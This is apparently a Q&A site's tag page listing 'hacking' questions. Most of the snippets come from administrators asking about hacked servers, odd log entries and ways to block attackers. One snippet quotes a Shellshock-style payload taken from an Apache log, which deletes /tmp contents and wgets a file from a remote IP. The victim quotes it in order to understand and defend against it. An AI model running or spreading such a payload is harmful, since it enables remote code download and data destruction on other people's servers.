Hacking is the violation of server or network security via exploitation of weaknesses in that security.

learn more… | top users | synonyms (1)

0
votes
0answers
14 views

Find connected android device location on my wireless router [closed]

I have WiFi home router secured with WPA2-AES. Today I found a new device connected with IP 192.168.1.8 which is not mine. I have its MAC address and IP and the host name like this: IP address: ...
-1
votes
0answers
14 views

Protection of information terminal running Windows OS [closed]

I need an information computer terminal to work 24/7 in a protected public area. Operating system is Windows POS Ready 7 EVAL. I need this terminal to send HTTP messages to a single IP address in the ...
-2
votes
0answers
18 views

cakephp - hacked… but how and what [duplicate]

I got an email from my host which says that a cakephp app which I built has been hacked and some bad files found so they've taken me offline. the problems are in the following files: ...
-1
votes
2answers
67 views

how to prevent non-admin user to gain admin access using overflow [closed]

There are all sort of coding best practices to prevent stack overflow attack but that is not what this question is about. What I want to know is how to prevent a legit non-admin user running a piece ...
0
votes
2answers
185 views

Stop China from connecting to my Google Compute Engine server

My company has a Google Compute Engine server hosted in North America. We get so many Chinese IP addresses sending requests to port 11 that it is costing us money for the ingress. Our firewall blocks ...
0
votes
1answer
115 views

Mysql crashed showing following errors. Is this a hack?

2015-05-17 14:50:38 1896 [Warning] Host name 'hn.kd.ny.adsl' could not be resolved: No such host is known. 2015-05-18 00:11:23 1896 [Warning] IP address '222.186.21.38' could not be resolved: The ...
-3
votes
1answer
103 views

How could this hack have been possible unless the host itself was compromised? [closed]

UPDATE II: I honestly fail to see how my question is inappropriate for this site, and no one seems to want to give me a reasonable response for that, but whatevs, I solved it. Thanks to the actual ...
-1
votes
1answer
57 views

Is it a ok wordpress file or is hack, look at this code [duplicate]

I was facing a hack My website is not hosted on a server but shared hosting, If server is hacked I cannot do anything. My Question is not about how to safeguard the server, but is the below code is ...
1
vote
1answer
66 views

Weird server behavior, fear security breach but nothing on logs

These days my hosting (a2hosting) had an issue with the node hosting my VPS and during this period my users noticed a weird behavior other than the several restarts that happened while there were ...
0
votes
0answers
21 views

Syslogd acctack

My hosting company told me, my VPS server (CentOS release 6.6) have abnormal activities issue (hacking other server) and blocked my outgoing traffic, they just give me limit info: The hacking ...
2
votes
2answers
57 views

What are some of the hacks that DNSsec is intended to prevent

I know that the overall purpose of DNSsec is to prevent spoofing your DNS record. But what are some of the actual processes/routines that are used that DNSsec actively prevents?
0
votes
0answers
110 views

How do you get Snorby to generate an alert through a custom rule?

I am having trouble getting a rule to activate, when a syn flood attack is happening. I have tried 2 iterations of this code and I am losing my sanity over it. The scenario is that I have 3 VMware ...
0
votes
0answers
46 views

Got hacked. Want to know how and protect the others similar setup instance [duplicate]

The website got hacked, would like to know how / possible approach the hacker did and how can i protect the server. This is the information of the hack: http://www.zone-h.org/mirror/id/23884086 The ...
0
votes
0answers
22 views

User agent string starting with “rm” - hacker? [duplicate]

I noticed this in my apache log: Referrer: () { :; }; /bin/bash -c \ User Agent (I've separated the cmds by ;): rm -rf /tmp/*; echo wget http://222.186.21.115:999/udso -O /tmp/China.Z-xtsu` ...
-1
votes
1answer
58 views

Understanding Postfix Mail Log (Part II)

There are several logs like below in my Postfix mail log: Mar 9 06:01:10 postfix/smtpd[23043]: initializing the server-side TLS engine Mar 9 06:01:10 postfix/smtpd[23043]: connect from ...
1
vote
0answers
22 views

Website ftp details hacked by Alsancak Tim [duplicate]

My web files are hacked by Alsancak Tim. some ine is hacked ftp username and password. then going to delete all files and updated his own file. Now i am looking my website, it display a new ...
2
votes
2answers
82 views

Block people searching for server admin pages

Occasionally I flip through our (apache) access log and I often come across people trying to fish for admin pages. For example, they are trying to access pages like: /wp-login.php ...
1
vote
1answer
109 views

Understanding Postfix Mail Log

Recently I checked my mail log and found a lot of messages like this (some cipher text have been truncated): Feb 23 11:57:42 postfix/smtpd[32451]: initializing the server-side TLS engine Feb 23 ...
-6
votes
1answer
74 views

how does one report an RDP attack to Microsoft when it's happening in real time? [closed]

To my surprise, Security Event 10 was for 104.43.193.6 which is apparently a Microsoft ip address: http://ip2location.com/demo/104.43.193.6 =. Microsoft Corporation. Likely AFAIK some has leased ...
-3
votes
1answer
112 views

Decode array of encoded objects [duplicate]

I need some help from you.. my VPS was hacked.. I was trying to decode the files I found.. here the content of one php file, it's an array of encoded objects. Can you help me? ...
0
votes
0answers
32 views

Debian server hacked - root login on /dev/tty1 - therebel exploit [duplicate]

I have a test server running Debian Wheezy (Kernel 3.2.0-4-amd64) and OwnCloud 7. It is a virtual machine hosted on a Debian Wheezy kvm Server. It uses an own IP address configured via br0. I made ...
0
votes
2answers
735 views

hacking to my apache using cgi script

I newbie to web programming, so I setup an apache2 sever for my practice. It seems that someone succeeded to hack my apache server. I have notice in my access.log the following line: 81.169.174.52 - ...
3
votes
2answers
1k views

Continuous POST requests on wordpress login page - hacking attempt?

From today morning, I am witnessing a series of continuous POST requests hitting on one of blog running on wordpress software on my server. Few things about this pattern: These continuous requests ...
4
votes
1answer
121 views

MySQL Database Being Tampered Without Injection

My MySQL database has been getting hacked, and I cannot find the loophole. I have solid protection in PHP to prevent against injection and the hacker himself has communicated with me and says he is ...
1
vote
0answers
131 views

Is my site getting hacked (Bluehost)?

I'm running a simple website off of Bluehost, and I needed to use custom Python scripts so I created a cgi-bin folder in my site's directory and added my cgi python files there. Everytime I tried to ...
0
votes
0answers
46 views

Analyze logs after hack [duplicate]

I'm really new to log analysis.. And OVH contacted my society because one of our website has been hacked during the weekend. They told us that they used Asprox. So my boss told me to look into the ...
0
votes
1answer
167 views

ubuntu sudoers file hacked?

I've 3 ubuntu 14.04 vm on a remote hosting for code repository and testing purpose. I've got them for more than 1 year now. Two of them are working properly, but on one of them I can't run root ...
3
votes
1answer
694 views

got weird email with server data. Does this mean I got hacked? [duplicate]

I just got the following "undelivered message" to my postmaster@mydomain.com Does this mean someone might have tried to (or succeeded in) hacking me? (I replaced certain parts in the below for ...
0
votes
1answer
77 views

Diagnosing heavy bandwidth usage

I run a couple of IIS web servers, one on win server 2008 R2, the other on 2003. Both fully patched and up to date, with AV. Running on a No NAT connection with 8 WAN IP's The 2003 machine seems to ...
-2
votes
1answer
189 views

How do I know how the hacker gained access to my machine? [duplicate]

I own a dedicated machine and today I got an email from my host saying that my server will be blocked if I don't stop abusing the network. I am not a spammer or hacker. Someone was using my machine to ...
0
votes
2answers
139 views

Server compromised, how deep is the intrusion when PHP files are changed in folder without write permissions [duplicate]

I know there have been a lot of similar questions, but none of them covered this specific question: I found on almost all PHP files on a clients server script injections, it was actually the script ...
0
votes
2answers
455 views

Arp attack on my network

We have a small network of around 100 laptop/desktops and around 20 servers (sounds an overkill but these servers provide service for all our external contractors too) and we have recently noticed ...
-5
votes
2answers
189 views

server hacked - cron continue to run [duplicate]

Someone accessed my EC2 Ubuntu 14.04 and installed some malicious cron to do port scanning with user eric. I removed user eric and the file executed, but in syslog I see Sep 19 15:27:01 ip-xxx ...
0
votes
1answer
318 views

I think my server was hacked - how do i know what has been changed? [duplicate]

I have read the following posts which didn't answered my questions: - My linux server was hacked. How do I find out how and when it was done? - How do I know if my Linux server has been hacked? - and ...
0
votes
1answer
40 views

Is it possible to mimic the client of a https web service

There is such a windows application that communications with the server through https protocol, it is an auction tool and works only several hours per month. I have captured network packets (by ...
-1
votes
2answers
308 views

Constantly getting hacked (server 2008 R2) [closed]

A quick summary on the events from the last 2 weeks: We noticed that our SQL Server was becoming unreliably slow. This is a critical machine that's used by one of our local supercomputing groups to ...
0
votes
0answers
149 views

Auto black list hackers from Apache server that hit website too fast

I notice some hackers jumping from website to website iterating all possible IP addresses and hitting them so fast and hard with their attack URLs to get some flaws. I am more interested in how to ...
2
votes
1answer
1k views

Someone tried to hack my Node.js server, need to understand a GET request in the logs

Alright, so I left my Node.js server alone for a while and came back to find some really interesting stuff in the logs. Apparently some moron from China or Poland tried to hack my server using ...
0
votes
1answer
96 views

IIS 7.5 website application pool with 'full control' permissions hackable?

Although I would never set this permission, I would like to know how a static html website with the permission mentioned in the title could be compromised. In my humble opinion, I would guess that ...
0
votes
1answer
76 views

Taking database from possibly cracked server

I have a server which is behaving erratically. While I investigate if it's been hacked, I'm also thinking about my backup options: As many posts have said the only way to truly know you're clean is ...
0
votes
1answer
304 views

Attacks to my server? [closed]

I've a VPS running a website. I've a logwatch set in the server, and I've received several alerts like: A total of 2 sites probed the server 31.4.180.163 88.1.154.211 Requests ...
2
votes
1answer
121 views

Getting old website after hack (even using wget) - No proxies involved

Our server was hacked and several pages were replaced. We manage to clean up everything. Currently if you access the website from anywhere using any browser the website shows correct and clean. Only ...
2
votes
3answers
617 views

Blocking IP addresses of obvious hack attempts [duplicate]

I have a simple Apache webserver setup and basic IP tables (ufw) for a development server. In my logs I see lines like this: [Fri May 16 10:10:36.258369 2014] [:error] [pid 15926] [client ...
1
vote
1answer
512 views

Can I clean these two hacked servers withour reinstalling? [duplicate]

I've got two dedicated servers that some days ago started to send me notifications about unknown cron jobs running. On both servers I've got secondary accounts for my websites and the hacker has ...
1
vote
0answers
113 views

suspicious connection on server

OS: Windows Server 2003 Monitoring tool: CurrPorts When monitoring traffic on the server for traffic going out on port 80, example of results: 5/1/2014 2:36:23 PM Added cscript.exe TCP ...
12
votes
4answers
15k views

Block range of IP Addresses

I am getting bombarded with attempted hacks from China all with similar IPs. How would I block the IP range with something like 116.10.191.* etc. I am running Ubuntu Server 13.10. The current line ...
1
vote
1answer
130 views

Someone tried to access a list of hundreds of standard website urls in a go, is it a cause of concern [duplicate]

I was just checking my website logs today and found that someone accessed my website for a list of hundreds of standard urls that almost every 3rd or 4th website developed on a standard platform ...
0
votes
1answer
50 views

Two different SSID's on the same chanel. Is it safe?

If I have multiple network, that have their SSID's on the same channel, can I go into monitor mode(of the wifi interface) and capture packets of the other SSID?
2
votes
2answers
138 views

EC2 hosting, trying to understand network security model

We are hosting few virtual machines at amazon. Security groups and other configurations are set up to allow access only from desired addresses and to desired parties. The machines do talk with each ...
1
vote
0answers
126 views

How to secure tmp directory from hard link attacks when host doesn't allow partitioning

I'm a new sysadmin in the making, have learned that I need to have /tmp and /home directories on separate partitions in order to prevent possibilities of privilege escalation through hard links based ...